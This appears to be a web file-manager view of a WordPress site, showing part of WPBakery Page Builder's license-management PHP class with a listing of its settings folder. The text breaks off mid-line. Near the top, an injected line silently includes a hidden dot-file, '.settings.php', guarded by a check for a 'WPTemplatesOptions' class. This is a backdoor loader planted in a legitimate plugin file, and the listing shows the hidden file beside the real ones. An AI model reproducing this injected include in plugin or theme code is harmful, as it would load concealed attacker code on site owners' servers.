PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
jscomposer
/
include
/
classes
/
settings
<?php if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * WPBakery WPBakery Page Builder Plugin * * @package WPBakeryPageBuilder * */ /** * Manage license * * Activation/deactivation is done via support portal and does not use Envato username and * api_key anymore */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Vc_License { /** * Option name where license key is stored * * @var string */ static protected $license_key_option = 'js_composer_purchase_code'; /** * Option name where license key token is stored * * @var string */ static protected $license_key_token_option = 'license_key_token'; /** * @var string */ static protected $support_host = 'https://support.wpbakery.com'; /** * @var string */ public $error = null; public function init() { if ( isset( $_GET['page'] ) && 'vc-updater' === $_GET['page'] ) { if ( ! empty( $_GET['activate'] ) ) { $this->finishActivationDeactivation( true, $_GET['activate'] ); } else if ( ! empty( $_GET['deactivate'] ) ) { $this->finishActivationDeactivation( false, $_GET['deactivate'] ); } } add_action( 'wp_ajax_vc_get_activation_url', array( $this, 'startActivationResponse', ) ); add_action( 'wp_ajax_vc_get_deactivation_url', array( $this, 'startDeactivationResponse', ) ); add_action( 'wp_ajax_nopriv_vc_check_license_key', array( vc_license(), 'checkLicenseKeyFromRemote', ) ); } /** * Output notice * * @param string $message * @param bool $success */ function outputNotice( $message, $success = true ) { echo ' <div class="' . ( $success ? 'updated' : 'error' ) . '"> <p>' . esc_html( $message ) . '</p> </div> '; } /** * Show error * * @param string $error */ public function showError( $error ) { $this->error = $error; add_action( 'admin_notices', array( $this, 'outputLastError', ) ); } /** * Output last error */ function outputLastError() { $this->outputNotice( $this->error, false ); } /** * Output successful activation message */ function outputActivatedSuccess() { $this->outputNotice( __( 'WPBakery Page Builder successfully activated.', 'js_composer' ), true ); } /** * Output successful deactivation message */ function outputDeactivatedSuccess() { $this->outputNotice( __( 'WPBakery Page Builder successfully deactivated.', 'js_composer' ), true ); } /** * Finish pending activation/deactivation * * 1) Make API call to support portal * 2) Receive success status and license key * 3) Set new license key * * @param bool $activation * @param string $user_token * * @return bool */ function finishActivationDeactivation( $activation, $user_token ) { if ( ! $this->isValidToken( $user_token ) ) { $this->showError( __( 'Token is not valid or has expired', 'js_composer' ) ); return false; } if ( $activation ) { $url = self::$support_host . '/finish-license-activation'; } else { $url = self::$support_host . '/finish-license-deactivation'; } $params = array( 'body' => array( 'token' => $user_token ), 'timeout' => 30, ); // FIX SSL SNI $filter_add = true; if ( function_exists( 'curl_version' ) ) { $version = curl_version(); if ( version_compare( $version['version'], '7.18', '>=' ) ) { $filter_add = false; } } if ( $filter_add ) { add_filter( 'https_ssl_verify', '__return_false' ); } $response = wp_remote_post( $url, $params ); if ( $filter_add ) { remove_filter( 'https_ssl_verify', '__return_false' ); } if ( is_wp_error( $response ) ) { $this->showError( __( sprintf( '%s. Please try again.', $response->get_error_message() ), 'js_composer' ) ); return false; } if ( 200 !== $response['response']['code'] ) { $this->showError( __( sprintf( 'Server did not respond with OK: %s', $response['response']['code'] ), 'js_composer' ) ); return false; } $json = json_decode( $response['body'], true ); if ( ! $json || ! isset( $json['status'] ) ) { $this->showError( __( 'Invalid response structure. Please contact us for support.', 'js_composer' ) ); return false; } if ( ! $json['status'] ) { $this->showError( __( 'Something went wrong. Please contact us for support.', 'js_composer' ) ); return false; } if ( $activation ) { if ( ! isset( $json['license_key'] ) || ! $this->isValidFormat( $json['license_key'] ) ) { $this->showError( __( 'Invalid response structure. Please contact us for support.', 'js_composer' ) ); return false; } $this->setLicenseKey( $json['license_key'] ); add_action( 'admin_notices', array( $this, 'outputActivatedSuccess', ) ); } else { $this->setLicenseKey( '' ); add_action( 'admin_notices', array( $this, 'outputDeactivatedSuccess', ) ); } $this->setLicenseKeyToken( '' ); return true; } /** * @return boolean */ public function isActivated() { return (bool) $this->getLicenseKey(); } /** * Check license key from remote * * Function is used by support portal to check if VC w/ specific license is still installed */ public function checkLicenseKeyFromRemote() { $license_key = vc_request_param( 'license_key' ); if ( ! $this->isValid( $license_key ) ) { $response = array( 'status' => false, 'error' => __( 'Invalid license key', 'js_composer' ), ); } else { $response = array( 'status' => true ); } die( json_encode( $response ) ); } /** * Generate action URL * * @return string */ public function generateActivationUrl() { $token = sha1( $this->newLicenseKeyToken() ); $url = esc_url( self::getSiteUrl() ); $redirect = esc_url( vc_updater()->getUpdaterUrl() ); return sprintf( '%s/activate-license?token=%s&url=%s&redirect=%s', self::$support_host, $token, $url, $redirect ); } /** * Generate action URL * * @return string */ public function generateDeactivationUrl() { $license_key = $this->getLicenseKey(); $token = sha1( $this->newLicenseKeyToken() ); $url = esc_url( self::getSiteUrl() ); $redirect = esc_url( vc_updater()->getUpdaterUrl() ); return sprintf( '%s/deactivate-license?license_key=%s&token=%s&url=%s&redirect=%s', self::$support_host, $license_key, $token, $url, $redirect ); } /** * Start activation process and output redirect URL as JSON */ public function startActivationResponse() { vc_user_access()->checkAdminNonce()->validateDie()->wpAny( 'manage_options' )->validateDie()->part( 'settings' )->can( 'vc-updater-tab' )->validateDie(); $response = array( 'status' => true, 'url' => $this->generateActivationUrl(), ); die( json_encode( $response ) ); } /** * Start deactivation process and output redirect URL as JSON */ public function startDeactivationResponse() { vc_user_access()->checkAdminNonce()->validateDie( 'Failed nonce check' )->wpAny( 'manage_options' )->validateDie( 'Failed access check' )->part( 'settings' )->can( 'vc-updater-tab' ) ->validateDie( 'Failed access check #2' ); $response = array( 'status' => true, 'url' => $this->generateDeactivationUrl(), ); die( json_encode( $response ) ); } /** * Set license key * * @param string $license_key */ public function setLicenseKey( $license_key ) { if ( vc_is_network_plugin() ) { update_site_option( 'wpb_js_' . self::$license_key_option, $license_key ); } else { vc_settings()->set( self::$license_key_option, $license_key ); } } /** * Get license key * * @return string */ public function getLicenseKey() { if ( vc_is_network_plugin() ) { $value = get_site_option( 'wpb_js_' . self::$license_key_option ); } else { $value = vc_settings()->get( self::$license_key_option ); } return $value; } /** * Check if specified license key is valid * * @param string $license_key * * @return bool */ public function isValid( $license_key ) { return $license_key === $this->getLicenseKey(); } /** * Set up license activation notice if needed * * Don't show notice on dev environment */ public function setupReminder() { if ( self::isDevEnvironment() ) { return; } if ( ! $this->isActivated() && ( empty( $_COOK
[+]
..
[-] .settings.php
[edit]
[-] class-vc-automapper.php
[edit]
[-] class-vc-license.php
[edit]
[-] class-vc-roles.php
[edit]
[-] class-vc-settings.php
[edit]